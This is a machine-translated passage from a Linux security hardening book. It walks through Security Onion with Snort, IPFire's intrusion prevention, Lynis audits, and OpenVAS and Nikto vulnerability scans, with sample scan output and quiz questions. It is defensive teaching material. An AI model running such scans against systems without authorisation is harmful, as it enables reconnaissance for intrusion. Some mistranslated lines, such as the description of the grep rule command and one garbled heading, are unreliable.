[https://professionallyevil.com/](https://professionallyevil.com/) - -既然您已经看到了如何以传统的方式设置 Snort,让我们看看简单的方法。 - -# 使用安全洋葱 - -Snort 本身并不难设置。但是,如果您手动完成所有工作,那么当您设置好控制台、传感器和您选择的图形前端时,可能会有点乏味。所以,想象一下,当我说这些的时候,我戴着墨镜盯着你,如果我告诉你,你可以把你的 Snort 设置成一个现成设备的一部分,会怎么样?如果我告诉你设置这样一个设备是一件轻而易举的事,你会怎么想?我想你可能会说,*所以,给我看看吧!* - -If you feel bad about cheating by making Snort deployment so easy, there's really no need to. An official Snort representative once told me that most people deploy Snort in this manner. - -安全洋葱是一个免费的专业 Linux 发行版,建立在 Xubuntu **长期支持** ( **LTS** )发行版之上。它包括 Snort 的完整实现,包括您能想象到的几乎每一个图形,以帮助您可视化网络上发生的事情。它还附带了 Suricata,这是另一个免费的开源 IDS。如果您可以安装一个 Linux 发行版,并在安装后进行点击式配置,那么您可以安装安全洋葱。 - -Note that the Xubuntu LTS version that Security Onion is based on is always at least one version behind the current LTS version of Xubuntu. At the time of writing, the current Xubuntu LTS version is version 18.04, whereas Security Onion is still based on Xubuntu 16.04\. However, that may change by the time you read this book. - -Also, if you want to try out Security Onion, you can set it up in a VirtualBox virtual machine. When you create the virtual machine, set it up with two network adapters, both in *Bridged* mode. For best performance, allocate at least 3 GB of memory. - -# 动手实验–安装安全洋葱 - -在本实验中,您将从设置一个带有两个桥接网络接口的虚拟机开始。 - -按照以下步骤安装安全洋葱: - -1. 在虚拟机中安装操作系统,就像在任何其他 Linux 发行版中一样。 -2. 安装完操作系统后,配置过程只需双击安装图标,然后按照对话框操作即可: - -![](img/7c94bba2-94d2-4291-ba63-ee9855905c4e.png) - -3. 要设置一台具有传感器功能的机器,您需要一台带有两个接口卡的机器。一个接口将被分配一个 IP 地址,它将是管理接口: - -![](img/e3c6bb81-8b6e-4db1-a936-9346fc27cd2e.png) - -4. 您可以设置管理接口,以便它通过 DHCP 自动获得一个 IP 地址,但是分配一个静态 IP 地址要好得多: - -![](img/6d71ad9a-1a65-4e10-9ef7-4bdb5786503f.png) - -5. 您将使用另一个网络适配器作为嗅探接口。您不会为其分配 IP 地址,因为您希望该接口对坏人不可见: - -![](img/83e94f8f-ea83-4974-88b4-2fd30c50298c.png) - -6. 确认您选择的网络配置后,您需要重新启动机器: - -![](img/e7188599-dc0a-42e5-bb0b-a14904c95f94.png) - -7. 机器重新启动后,再次双击设置图标,但这次选择跳过网络配置。对于安全洋葱的第一次用户来说,评估模式非常有帮助,因为它会自动为大多数内容选择正确的选项: - -![](img/66167850-8fdf-44ae-b298-e7512fdab06b.png) - -8. 从现在开始,只需要确认哪个网络接口将是嗅探器接口,并为不同的图形前端填写登录凭证。然后,在等待安装实用程序下载 Snort 规则并执行最后的配置步骤之后,您将拥有自己的可操作的 NIDS。现在,我问你,*还有什么能更容易?* - -您已经完成了本实验–祝贺您! - -安全洋葱有几个不同的图形前端。我最喜欢的是 Squert,在这里展示。即使只有默认的检测规则集,我也已经看到了一些有趣的东西。在这里,我们可以看到 Squert 在行动: - -![](img/9546cdbd-590b-41d9-855b-2fcbd5b6f995.png) - -首先,我可以看到网络上有人在挖掘一些莫内罗加密硬币。嗯,其实是我在做,所以没关系。能够检测到这一点是一件好事,因为众所周知,坏人为了自己的利益会在公司服务器上安装 Monero 采矿软件。Monero cryptocoin 采矿会给服务器的 CPU 带来很大的负载,因此它不是您希望在服务器上使用的东西。此外,一些偷偷摸摸的网站运营商在他们的网页上放置了 JavaScript 代码,这导致任何访问他们的计算机都开始挖掘 Monero。因此,这条规则也有利于保护桌面系统。 - -我看到的另一件事是 Dropbox 客户端广播,这也没问题,因为我是 Dropbox 用户。然而,这是你可能不希望在公司网络中拥有的东西。 - -要查看与特定项目关联的 Snort 规则,只需单击它: - -![](img/e26c127d-a6b3-402e-a1e0-f7ddd610f0c6.png) - -这只是已经为我们设置的标准 Snort 规则。 - -Bad guys who want to mine Monero without paying for it have set up botnets of machines that have been infected with their mining software. In some of the attacks, only Windows servers have been infected. However, here's a case where both Windows and Linux servers have been infected: [https://www.v3.co.uk/v3-uk/news/3023348/cyber-crooks-conducting-sophisticated-malware-campaign-to-mine-monero](https://www.v3.co.uk/v3-uk/news/3023348/cyber-crooks-conducting-sophisticated-malware-campaign-to-mine-monero) - -单击 Squert 的“视图”选项卡,您将看到您的机器已经建立的连接的图形表示: - -![](img/de566261-7203-4432-aac7-b0e7c98c40ff.png) - -Snort 规则存储在`/etc/nsm/rules`目录中。当您仔细阅读任何一个`.rules`文件时,您会发现有相当多的规则已经启用,但也有相当多的规则没有启用。每个启用的规则都以`alert`关键字开始。禁用的以`#alert`开始注释。要查看所有启用的规则,请进入`rules`目录并使用我们的老朋友`grep`,如下所示: - -```sh -cd /etc/nsm/rule -grep '^alert' *.rules -``` - -该命令查找以文本字符串`#alert`开头的所有行。您还可以查找所有禁用的规则,如下所示: - -```sh -grep '^#alert' *.rules -``` - -这两个命令的输出都很长,因此您可以考虑将其发送到自己主目录中的文件,如下所示: - -```sh -grep '^alert' *.rules > ~/enabled_rules.txt -grep '^#alert' *.rules > ~/disabled_rules.txt -``` - -启用或禁用规则只是手动编辑适当的`.rules`文件以移除或插入前导`#`符号的简单事项。 - -关于安全洋葱和 Snort,我还可以向您展示更多,但是,唉,空间不允许。我已经告诉你要点了,你自己去试试吧。 - -I know that I made this Snort/Security Onion thing look rather easy, but there's a lot more to it than what I've been able to show you. On a large network, you might see a lot of traffic that doesn't make a lot of sense unless you know how to interpret the information that Snort presents to you. You might also need to fine-tune your Snort rules in order to see the anomalies that you want to see, without generating false positives. Or, you might even find the need to write your own custom Snort rules to handle unusual situations. Fortunately, the Security Onion folk do provide training, both on-site and online. You can find out more about it at the following website: [https://securityonionsolutions.com/](https://securityonionsolutions.com/) [](https://securityonionsolutions.com/) - -您刚刚深入研究了使用安全洋葱的奥秘。现在,让我们深入研究使用预建边缘防火墙设备的奥秘。 - -# IPFire 及其内置的入侵防御系统 - -当我写这本书的原始版本时,我在 Snort 部分包含了对 IPFire 的讨论。当时,IPFire 内置了 Snort。这是一个好主意,因为你有一个边缘防火墙和一个**入侵检测系统** ( **入侵检测系统**)都在一个方便的包里。但是,在 2019 年夏天,IPFire 的人用他们自己的 IPS 取代了 Snort。所以,我把 IPFire 移到了它自己的部分。 - -入侵检测系统和入侵防御系统的区别在于入侵检测系统会通知您问题,但不会阻止它们。入侵防御系统也会阻止它们。 - -如果你回想一下我们在[第 3 章](03.html)、*用防火墙保护你的服务器–第 1 部分*中对防火墙的讨论,我完全忽略了任何关于创建**网络地址转换** ( **NAT** )规则的讨论,这些规则是为了设置边缘或网关类型的防火墙而需要的。这是因为有几个 Linux 发行版是专门为此目的而创建的: - -![](img/cdf7a354-281d-406f-b9bb-0ca7a4a7a67c.png) - -IPFire 是完全免费的,只需要几分钟就可以设置好。您可以将其安装在至少有两个网络接口适配器的机器上,并对其进行配置以匹配您的网络配置。这是一种代理类型的防火墙,这意味着除了进行正常的防火墙类型的数据包检查之外,它还包括缓存、内容过滤和 NAT 功能。您可以通过多种不同的配置来设置 IPFire: - -* 在具有两个网络接口适配器的计算机上,您可以让一个适配器连接到互联网,另一个适配器连接到内部局域网。 -* 有了三个网络适配器,您可以有一个到互联网的连接,一个到内部局域网的连接,一个到**非军事区** ( **非军事区**)的连接,在那里您有面向互联网的服务器。 -* 有了第四个网络适配器,您可以拥有我们刚才提到的所有功能,以及对无线网络的保护。 - -话虽如此,让我们试一试。 - -# 动手实验–创建 IPFire 虚拟机 - -您通常不会在虚拟机中运行 IPFire。相反,您将把它安装在至少有两个网络接口的物理机器上。但是,仅仅为了让您看到它是什么样子,现在在虚拟机中设置它就可以了。让我们开始吧: - -You can download IPFire from their website: [https://www.ipfire.org/](https://www.ipfire.org/) - -1. 创建一个具有两个网络接口的虚拟机。将一个设置为桥接模式,将另一个设置为 NAT 模式。将 IPFire 安装到此虚拟机中。在设置阶段,选择桥接适配器作为绿色接口,选择 NAT 适配器作为红色接口。 -2. 安装 IPFire 后,您需要使用普通工作站的网络浏览器导航到 IPFire 仪表板。使用以下网址执行此操作: - -```sh - https://192.168.0.190:444 -``` - -(当然,用你自己的 IP 地址代替你的绿色接口。) - -3. 在防火墙菜单下,您将看到入侵防御条目。单击该按钮进入该屏幕,您可以在其中启用入侵防御。第一步是选择要使用的规则集,然后选择每周或每日更新。然后,点击保存按钮: - -![](img/b9137e82-ca16-4d09-bfaa-bcfb805d65c7.png) - -4. 然后,您将看到此屏幕,您将在其中选择要启用入侵防御的接口(选择两个接口。)然后,选择启用入侵防御系统复选框,并单击保存: - -![](img/0282fdf0-761c-4514-9e80-4625d6c83f6a.png) - -如果一切顺利,您将看到以下输出: - -![](img/6b295b9c-e412-489f-94fc-4edbd9bea85b.png) - -5. 然后,向下滚动页面,直到看到各种规则子集。在这里,选择您想要应用的。点击页面底部的应用按钮: - -![](img/4723233b-ed02-4836-b3ec-60502b972744.png) - -6. 通过选择日志/入侵防御日志查看入侵防御系统的运行情况: - -![](img/ffe29027-15d5-4c74-807e-072818f731f4.png) - -7. 点击其他菜单项查看 IPFire 的其他功能。 - -您已经完成了本实验–祝贺您! - -您刚刚看到了使用自己的网络 IPS 设置边缘防火墙的简单方法。现在,让我们看看一些扫描工具。 - -# 使用 Lynis 进行扫描和加固 - -Lynis 是另一个自由/开源软件工具,你可以用它来扫描你的系统漏洞和糟糕的安全配置。它是一个可移植的 shell 脚本,您不仅可以在 Linux 上使用,还可以在各种不同的 Unix 系统和类似 Unix 的系统上使用。这是一个多用途工具,可以用于合规性审计、漏洞扫描或加固。与大多数漏洞扫描程序不同,您可以在要扫描的系统上安装并运行 Lynis。根据 Lynis 的创建者,这允许更深入的扫描。 - -Lynis 扫描工具是免费版本,但它的扫描功能有些有限。如果您需要 Lynis 提供的所有服务,您需要购买企业许可证。 - -# 在红帽/CentOS 上安装 Lynis - -红帽/CentOS 7 用户将在 EPEL 存储库中找到最新版本的 Lynis。因此,如果您已经安装了 EPEL,正如我在[第 1 章](01.html)*中向您展示的那样,在虚拟环境*中运行 Linux,安装只是简单的执行以下操作: - -```sh -sudo yum install lynis -``` - -在撰写本文时,Lynis 还没有进入 EPEL 拍摄红帽/CentOS 8。无论如何都要检查一下,看是否已经添加。如果没有,那么您只需从 Lynis 网站下载即可。我们将在下一小节中讨论这个问题。 - -# 在 Ubuntu 上安装 Lynis - -Ubuntu 在自己的存储库中有 Lynis,但它远远落后于当前的版本。如果您可以使用旧版本,安装它的命令如下: - -```sh -sudo apt install lynis -``` - -如果你想要最新版本的 Ubuntu,或者你想在没有它的操作系统上使用 Lynis,你可以 - -You can download Lynis from [https://cisofy.com/downloads/lynis/](https://cisofy.com/downloads/lynis/). [](https://cisofy.com/downloads/lynis/) The cool thing about this is that once you download it, you can use it on any Linux, Unix, or Unix-like operating system (this even includes macOS, which I've just confirmed by running it on my old Mac Pro that's running with macOS High Sierra.) [](https://cisofy.com/downloads/lynis/) - -因为可执行文件只是一个普通的 shell 脚本,所以不需要执行实际的安装。您所需要做的就是将归档文件`cd`提取到结果目录中,并从那里运行 Lynis: - -```sh -tar xzvf lynis-2.7.5.tar.gz -cd lynis -sudo ./lynis -h -``` - -`lynis -h`命令向您显示帮助屏幕,以及您需要了解的所有 Lynis 命令。 - -# 用 Lynis 扫描 - -无论您要扫描哪个操作系统,Lynis 命令的工作原理都是一样的。唯一不同的是,如果你从网站下载的存档文件中运行它,你会将`cd`放入`lynis`目录,并在`lynis`命令前加一个`./`。(这是因为出于安全原因,您自己的主目录不在允许 shell 自动查找可执行文件的路径设置中。) - -要扫描安装了 Lynis 的系统,请执行以下命令: - -```sh -sudo lynis audit system -``` - -要扫描刚下载归档文件的系统,请执行以下命令: - -```sh -cd lynis -sudo ./lynis audit system -``` - -从主目录中的 shell 脚本运行 Lynis 会向您显示以下消息: - -```sh -donnie@ubuntu:~/lynis$ sudo ./lynis audit system -. . . -[X] Security check failed - - Why do I see this error? - ------------------------------- - This is a protection mechanism to prevent the root user from executing user created files. The files may be altered, or including malicious pieces of script. - - . . . - -[ Press ENTER to continue, or CTRL+C to cancel ] -``` - -这并没有伤害到什么,所以你可以直接点击*进入*继续。或者,如果看到此消息真的让您感到困扰,您可以将 Lynis 文件的所有权更改为根用户,正如消息告诉您的那样。现在,我只需按下*进入*。 - -以这种方式运行 Lynis 扫描类似于对通用安全配置文件运行 OpenSCAP 扫描。主要区别在于 OpenSCAP 有自动修复功能,而 Lynis 没有。Lynis 告诉你它发现了什么,并建议如何解决它认为是一个问题,但它不能为你解决任何问题。 - -空间不允许我显示整个扫描输出,但我可以向您展示几个示例片段: - -```sh -[+] Boot and services ------------------------------------- - - Service Manager [ systemd ] - - Checking UEFI boot [ DISABLED ] - - Checking presence GRUB [ OK ] - - Checking presence GRUB2 [ FOUND ] - - Checking for password protection [ WARNING ] - - Check running services (systemctl) [ DONE ] - Result: found 21 running services - - Check enabled services at boot (systemctl) [ DONE ] - Result: found 28 enabled services - - Check startup files (permissions) [ OK ] - -``` - -此警告消息表明我的`GRUB2`引导程序没有密码保护。这可能是也可能不是什么大问题,因为有人利用它的唯一方法是获得对机器的物理访问。如果这是一台被锁在只有少数受信任的人才能访问的房间里的服务器,那么我不会担心它,除非适用的监管机构的规则要求我这样做。如果这是一台开着的台式电脑,那么我肯定会修好它。(我们将在[第 14 章](14.html)、*大忙人的安全提示和技巧*中查看 GRUB 密码保护。) - -在`File systems`部分,我们可以看到一些旁边带有`SUGGESTION`标志的项目: - -```sh -[+] File systems ------------------------------------- - - Checking mount points - - Checking /home mount point [ SUGGESTION ] - - Checking /tmp mount point [ SUGGESTION ] - - Checking /var mount point [ SUGGESTION ] - - Query swap partitions (fstab) [ OK ] - - Testing swap partitions [ OK ] - - Testing /proc mount (hidepid) [ SUGGESTION ] - - Checking for old files in /tmp [ OK ] - - Checking /tmp sticky bit [ OK ] - - ACL support root file system [ ENABLED ] - - Mount options of / [ NON DEFAULT ] -``` - -Lynis 建议的内容就在输出的末尾: - -```sh -. . . -. . . - - * To decrease the impact of a full /home file system, place /home on a separated partition [FILE-6310] - https://cisofy.com/controls/FILE-6310/ - - * To decrease the impact of a full /tmp file system, place /tmp on a separated partition [FILE-6310] - https://cisofy.com/controls/FILE-6310/ - - * To decrease the impact of a full /var file system, place /var on a separated partition [FILE-6310] - https://cisofy.com/controls/FILE-6310/ -. . . -. . . -``` - -我们最后要看的是输出末尾的扫描细节部分: - -```sh - Lynis security scan details: - Hardening index : 67 [############# ] - Tests performed : 218 - Plugins enabled : 0 - Components: - - Firewall [V] - - Malware scanner [X] - Lynis Modules: - - Compliance Status [?] - - Security Audit [V] - - Vulnerability Scan [V] - Files: - - Test and debug information : /var/log/lynis.log - - Report data : /var/log/lynis-report.dat -``` - -对于`Components`,有一个红色的`Malware Scanner``X`。那是因为我没有在这台机器上安装 ClamAV 或 maldet,所以 Lynis 无法进行病毒扫描。 - -对于`Lynis Modules`,我们可以通过`Compliance Status`看到一个问号。这是因为该功能是为企业版 Lynis 保留的,它需要付费订阅。正如我们在上一章中看到的,您有 OpenSCAP 配置文件来使系统符合几种不同的安全标准,并且它不会让您付出任何代价。使用 Lynis,您必须为合规性配置文件付费,但您可以选择的范围更广。除了 OpenSCAP 提供的合规性配置文件,Lynis 还提供了 HIPAA 和萨班斯-奥克斯利法案合规性的配置文件。 - -If you're based in the United States, you most surely know what HIPAA and Sarbanes-Oxley are and whether they apply to you. If you're not in the United States, then you probably don't need to worry about them. - -Having said that, if you work in the healthcare industry, even if you're not in the United States, the HIPAA profile can give you guidance on how to protect private data for patients. - -关于 Lynis,我想说的最后一点是关于企业版的。在他们网站上的以下截图中,您可以看到当前的定价以及不同订阅计划之间的差异: - -![](img/eff29945-983f-458b-b2b9-520e95f507f1.png) - -如你所见,你有选择。 - -You'll find information about pricing on the following website: [https://cisofy.com/pricing/](https://cisofy.com/pricing/) - -关于我们对林尼斯的讨论,这就差不多结束了。接下来,我们将研究一个外部漏洞扫描器。 - -# 使用 OpenVAS 查找漏洞 - -**开放漏洞评估扫描程序** ( **OpenVAS** )是您用来执行远程漏洞扫描的工具。你可以扫描 - -三大安全发行版分别是 Kali Linux、Parrot Linux 和 Black Arch。它们针对的是安全研究人员和渗透测试人员,但它们包含的工具也适用于普通的 Linux 或 Windows 安全管理员。OpenVAS 就是这样一个工具。所有这三个安全发行版都有其独特的优点和缺点,但是由于 Kali 是最受欢迎的,我们将在演示中使用它。 - -You can download Kali Linux from [https://www.kali.org/downloads/](https://www.kali.org/downloads/). - -当你去 Kali 下载页面,你会看到很多选择。如果你像我一样,不喜欢默认的 Gnome 3 桌面环境,可以选择别的。我个人是一个 LXDE 的家伙,所以我同意它: - -![](img/fd7b792c-6377-4195-b575-d447941dd548.png) - -Kali 是从 Debian Linux 构建的,所以安装它和安装 Debian 差不多。唯一的例外是 Kali 安装程序允许您为根用户创建密码,但不允许您创建普通的非根用户帐户。这是因为你对 Kali 做的几乎所有事情都需要你作为根用户登录。我知道这与我之前告诉你的不作为`root`登录,而是使用普通用户账户的`sudo`是背道而驰的。然而,你需要和卡利做的大部分事情并不适用于`sudo`。此外,Kali 并不打算用作通用发行版,只要您只使用 Kali,您就可以以 root 用户身份登录。 - -OpenVAS is a rather memory-hungry program, so if you're installing Kali in a virtual machine, be sure to allocate at least 3 GB of memory. - -安装 Kali 后,您要做的第一件事就是更新它,更新方式与更新任何 Debian/Ubuntu 类型的发行版相同。然后,按照以下步骤安装 OpenVAS: - -```sh -apt update -apt dist-upgrade -apt install openvas -``` - -OpenVAS 安装完成后,您需要运行一个脚本来创建安全证书并下载漏洞数据库: - -```sh -openvas-setup -``` - -这需要很长时间,所以你不妨在它运行的时候去买个三明治和一杯咖啡。当它最终完成时,您将看到用于登录 OpenVAS 的密码。写下来,放在安全的地方: - -![](img/de04923d-483f-46eb-aff0-cdf25070d469.png) - -您可以从“应用”菜单控制和更新 OpenVAS: - -![](img/ac3a37c8-87e3-4e2c-b2ab-6cc00c3b7aab.png) - -在该菜单上,单击 openvas start。然后,打开火狐,导航到`https://localhost:9392`。您将收到安全警报,因为 OpenVAS 使用自签名安全证书,但这没关系。只需点击高级按钮,然后点击添加例外: - -![](img/d775e9bf-3ea4-4103-9e81-72d7cffd5f73.png) - -在登录页面,输入`admin`作为用户,然后输入由`openvas-setup`脚本生成的密码。 - -现在,有各种各样的花哨的东西,你可以用 OpenVAS 做,但现在,我们将只看如何做一个基本的漏洞扫描。首先,从 OpenVAS 控制面板的“扫描”菜单中选择“任务”: - -![](img/a9bc8df2-dd58-4495-8cc9-70209cc9fc0b.png) - -这会弹出以下对话框,告诉您使用向导(是的,我们确实要去看向导): - -![](img/f0278001-ef67-4701-a565-913b913da1a5.png) - -关闭对话框后,您会看到左上角出现紫色的向导图标。现在,我们只需选择任务向导选项,它将为我们选择所有默认扫描设置: - -![](img/f84c62e9-b560-4036-bceb-3b364e11389d.png) - -您在这里唯一需要做的就是输入要扫描的机器的 IP 地址,然后开始扫描: - -![](img/c74ac081-a237-4a8a-b893-444f76e98090.png) - -扫描需要一些时间,所以你最好去喝一杯: - -![](img/63e78d42-44ce-4fac-9471-3b307fcbdab5.png) - -您正在进行的扫描类型被命名为“完整和快速”,这不是最全面的扫描类型。要选择另一种扫描类型并配置其他扫描选项,请使用高级任务向导,如下图所示: - -![](img/2aca69ae-4bbf-4238-8413-36db3e20e4fc.png) - -在这里,您可以看到不同扫描选项的下拉列表: - -![](img/4a7b82a5-0381-48d6-8bae-421407864ce1.png) - -当我使用默认的完整和快速选项进行第一次扫描时,我没有发现许多问题。我有一个中度严重和 18 个低度严重,就是这样。我知道,由于我正在扫描的机器的年龄,肯定会有更多的问题,所以我再次尝试了完整和快速的终极选项。 - -这一次,我发现了更多,包括一些高严重性的东西: - -![](img/2a6919c1-7bea-431a-97db-762023c49ef9.png) - -前面的报告显示,我的机器正在使用安全外壳的弱加密算法,该算法被归类为中等严重性。它还有一个打印服务器漏洞,被归类为高严重性问题。 - -您还需要注意没有标记为漏洞的项目。例如,VNC 安全类型项目显示端口`5900`是打开的。这意味着**虚拟网络计算** ( **VNC** )守护进程正在运行,允许用户远程登录该机器的桌面。如果这台机器是一台面向互联网的机器,那将是一个真正的问题,因为 VNC 没有像安全外壳那样真正的安全性: - -![](img/f4eee0b2-77c7-4de9-8411-2208749ef603.png) - -通过单击打印服务器项目,我可以看到对此漏洞的解释: - -![](img/ed5dd15f-70d0-4a00-8427-eb3ed2c62d8e.png) - -请记住,在这种情况下,目标计算机是桌面计算机。如果是服务器,我们很有可能会看到更多的问题。 - -这基本上为 OpenVAS 做好了准备。正如我之前提到的,你可以用它做很多很棒的事情。然而,我在这里向你展示的应该足以让你开始。摆弄它,尝试不同的扫描选项,看看结果的差异。 - -If you want to find out more about Kali Linux, you'll find a great selection of books about it on the Packt Publishing website. - -好吧。现在您知道如何使用 OpenVAS 进行漏洞扫描了。现在,让我们看看专门为网络服务器设计的扫描仪。 - -# 使用 Nikto 扫描网络服务器 - -我们刚刚看到的 OpenVAS 是一个通用的漏洞扫描器。它可以为任何类型的操作系统或任何服务器守护进程找到漏洞。然而,正如我们刚刚看到的,OpenVAS 扫描可能需要一段时间才能运行,并且可能超过您的需求。 - -Nikto 是一个只有一个目的的专用工具;也就是说,它意味着扫描 web 服务器,并且只扫描 web 服务器。它易于安装,易于使用,并且能够相当快速地对 web 服务器进行全面扫描。虽然它包含在 Kali Linux 中,但是您不需要 Kali Linux 来运行它。 - -# Kali Linux 中没有人 - -如果您已经有了 Kali Linux,您会发现 nikto 已经安装在漏洞分析菜单下: - -![](img/01ff64d7-b359-419d-bf2a-7784df868ca0.png) - -当您单击该菜单项时,您将打开一个命令行终端,显示 Nikto 帮助屏幕: - -![](img/009653c6-ae64-43ef-8e3d-38df1c8f0935.png) - -我们现在将在 Linux 上安装 Nikto。 - -# 在 Linux 上安装和更新 Nikto - -Nikto 在红帽/CentOS 7 的 EPEL 存储库中,而它在 Ubuntu 的普通存储库中(我们仍在等待它在 EPEL 8 中出现)。除了 Nikto 包本身,您还需要安装一个使用 SSL/TLS 加密设置的服务器。 - -要在红帽/CentOS 上安装,请使用以下命令: - -```sh -sudo yum install nikto perl-Net-SSLeay -``` - -要在 Ubuntu 上安装,请使用以下命令: - -```sh -sudo apt install nikto libnet-ssleay-perl -``` - -接下来您要做的是更新漏洞签名数据库。然而,在撰写本文时,红帽/CentOS 实现中有一个小错误。由于某种原因,`docs`目录丢失,这意味着更新功能将无法下载`CHANGES.txt`文件来显示新的数据库更新发生了什么变化。要在您的 CentOS 虚拟机上修复此问题,请使用以下命令: - -```sh -sudo mkdir /usr/share/nikto/docs -``` - -但是请记住,当你读到这篇文章时,这个问题可能已经解决了。 - -从现在开始,您的任何一台虚拟机上的工作方式都将相同。要更新漏洞数据库,请使用以下命令: - -```sh -sudo nikto -update -``` - -Nikto 本身不需要`sudo`权限,但是更新它需要,因为它需要写入一个普通用户无法写入的目录。 - -# 用 Nikto 扫描网络服务器 - -从现在开始,你不再需要`sudo`特权。这意味着您可以不必总是键入密码。 - -要进行简单扫描,请使用`-h`选项指定目标主机: - -```sh -nikto -h 192.168.0.9 -nikto -h www.example.com -``` - -让我们看一些示例输出。这是最上面的部分: - -```sh -+ Allowed HTTP Methods: POST, OPTIONS, GET, HEAD -+ OSVDB-396: /_vti_bin/shtml.exe: Attackers may be able to crash FrontPage by requesting a DOS device, like shtml.exe/aux.htm -- a DoS was not attempted. -+ /cgi-bin/guestbook.pl: May allow attackers to execute commands as the web daemon. -+ /cgi-bin/wwwadmin.pl: Administration CGI? -+ /cgi-bin/Count.cgi: This may allow attackers to execute arbitrary commands on the server -``` - -在顶部,我们可以看到有一个`shtml.exe`文件,应该是为 FrontPage 网页创作程序准备的。我不知道它为什么在那里,考虑到这是一个 Linux 服务器,那是一个 Windows 可执行文件。尼克托告诉我,有了那个文件,有人可能会对我进行拒绝服务攻击(T2)。 - -接下来我们可以看到`/cgi-bin`目录下有各种脚本。从解释信息中可以看出,这不是一件好事,因为它可能允许攻击者在我的服务器上执行命令。 - -我们来看第二部分: - -```sh -+ OSVDB-28260: /_vti_bin/shtml.exe/_vti_rpc?method=server+version%3a4%2e0%2e2%2e2611: Gives info about server settings. -+ OSVDB-3092: /_vti_bin/_vti_aut/author.exe?method=list+documents%3a3%2e0%2e2%2e1706&service%5fname=&listHiddenDocs=true&listExplorerDocs=true&listRecurse=false&listFiles=true&listFolders=true&listLinkInfo=true&listIncludeParent=true&listDerivedT=false&listBorders=fals: We seem to have authoring access to the FrontPage web. -``` - -在这里,我们可以看到`vti_bin`目录中有一个`author.exe`文件,理论上可以允许某人拥有创作权限。 - -现在,最后一部分: - -```sh -+ OSVDB-250: /wwwboard/passwd.txt: The wwwboard password file is browsable. Change wwwboard to store this file elsewhere, or upgrade to the latest version. -+ OSVDB-3092: /stats/: This might be interesting... -+ OSVDB-3092: /test.html: This might be interesting... -+ OSVDB-3092: /webstats/: This might be interesting... -+ OSVDB-3092: /cgi-bin/wwwboard.pl: This might be interesting... -+ OSVDB-3233: /_vti_bin/shtml.exe/_vti_rpc: FrontPage may be installed. -+ 6545 items checked: 0 error(s) and 15 item(s) reported on remote host -+ End Time: 2017-12-24 10:54:21 (GMT-5) (678 seconds) -``` - -最后一个感兴趣的项目是`wwwboard`目录中的`passwd.txt`文件。显然,这个密码文件是可以浏览的,这绝对不是一件好事。 - -现在,在你指责我编造这些问题之前,我会透露这是对真实托管服务上真实制作网站的扫描(是的,我确实有权限扫描),所以,这些问题是真实存在的,需要修复。 - -以下是我在扫描运行 WordPress 的网络服务器时得到的另外几条示例消息: - -```sh -HTTP TRACK method is active, suggesting the host is vulnerable to XST -Cookie wordpress_test_cookie created without the httponly flag -``` - -长话短说,这两个问题都有可能让攻击者窃取用户凭据。在这种情况下,解决方法是看看 WordPress 是否发布了任何可以解决这个问题的更新。 - -那么,我们如何保护 web 服务器免受这些漏洞的侵害呢?让我们看看: - -* 正如我们在第一个例子中看到的,您希望确保您的 web 服务器上没有任何有风险的可执行文件。在这种情况下,我们在我们的 Linux 服务器上发现了两个可能不会伤害任何东西的`.exe`文件,因为 Windows 可执行文件不在 Linux 上运行。然而,另一方面,它可能是伪装成 Windows 可执行文件的 Linux 可执行文件。我们还发现了一些肯定会在 Linux 上运行的`perl`脚本,这可能会带来问题。 -* 如果有人要在你的网络服务器上植入一些恶意脚本,你会希望有某种形式的强制访问控制,比如 SELinux 或 AppArmor,这将阻止恶意脚本运行。(详见[第九章](09.html)、*使用 SELinux 和 AppArmor 实施强制访问控制、*)。 -* 您也可以考虑安装 web 应用防火墙,如 ModSecurity。空间不允许我介绍 ModSecurity 的细节,但是你可以在 Packt Publishing 网站上找到一本介绍它的书。 -* 保持你的系统更新,尤其是如果你运行的是基于 PHP 的内容管理系统,比如 WordPress。如果你关注信息技术安全新闻,你会比你想看到的更多地看到关于 WordPress 漏洞的报道。 - -只需在命令行中键入`nikto`,就可以看到其他扫描选项。不过,就目前而言,这足以让您开始基本的 web 服务器扫描。 - -# 摘要 - -我们已经到达了旅程中的又一个里程碑,我们看到了一些很酷的东西。我们首先讨论了将 Snort 设置为 NIDS 的基础。然后,我向您展示了如何通过部署一个专业的 Linux 发行版来严重作弊,该发行版已经安装了 Snort 并准备就绪。作为奖励,我向您展示了一个快速简单的边缘防火墙设备,它带有内置的网络入侵防御系统。 - -接下来,我向您介绍了 Lynis,以及如何使用它来扫描您的系统中的各种漏洞和合规性问题。最后,我们用 OpenVAS 和 Nikto 的工作演示来结束这一切。 - -在下一章中,我们将通过为忙碌的管理员提供一些快速提示来结束整个旅程。到时候见。 - -# 问题 - -1. 您会使用以下哪个命令在`.rules`文件中搜索活动的 Snort 规则? - a .`grep -w 'alert' *.rules` - b .`grep -i 'alert' *.rules` - c .`grep '^alert$' *.rules` - d .`grep 'alert' *.rules` -2. 以下哪一项最能描述 IPFire? - A .内置网络入侵检测系统的基于主机的防火墙设备 - B .内置网络入侵检测系统的边缘防火墙设备 -3. 以下哪个实用程序最适合扫描萨班斯-奥克斯利法案合规性问题? - a . Lynis - b . Lynis Enterprise - c . OpenVAS - d . OpenSCAP - -4. 为了获得一套正式的 Snort 检测规则,您需要什么? - a . oink code。 - 没什么。官方 Snort 规则已经安装好了。 - C .只需使用`sudo snort --update`命令。 - D .官方 Snort 规则只能通过付费订阅获得。 -5. 以下哪一项最能代表 Snort?HIDS GIDS T2 NIDS FIDS -6. 您会将以下哪一项用作通用的外部漏洞扫描程序? - a . OpenVAS - b . Nikto - c . OpenSCAP - d . Lynis -7. 使用 Nikto 扫描,您最有可能发现以下哪些问题? - a . Samba 服务正在运行,尽管它不应该是 - B .根用户帐户通过 SSH - C .潜在的恶意脚本驻留在 CGI 目录 - D .根用户帐户配置了弱密码 -8. Lynis 有什么独特的特点? - 答:这是一个专有的、封闭源代码的漏洞扫描器。 - B .它是一个 shell 脚本,可以用来扫描任何 Linux、Unix 或类似 Unix 的操作系统的漏洞。 - C .这是一个外部漏洞扫描器。 - D .只能安装在专业的安全发行版上,比如 Kali Linux。 -9. 使用 Snort,您最有可能发现以下哪些问题? - A .密码较弱的根用户帐户 - B .没有活动防火墙的服务器 - C .网络上活动的 Cryptocoin 挖掘恶意软件 - D .通过 SSH 暴露于互联网的根用户帐户 -10. 关于安全洋葱,以下哪项陈述是正确的? - A .控制和传感器功能都使用相同的网络接口。 - B .控制网络接口设置无 IP 地址。 - C .传感器网络接口设置没有 IP 地址。 - D .控制和传感器接口都需要一个 IP 地址。 - -11. 您将使用 OpenVAS 进行的默认扫描类型的名称是什么? - A .快速狂暴 - B 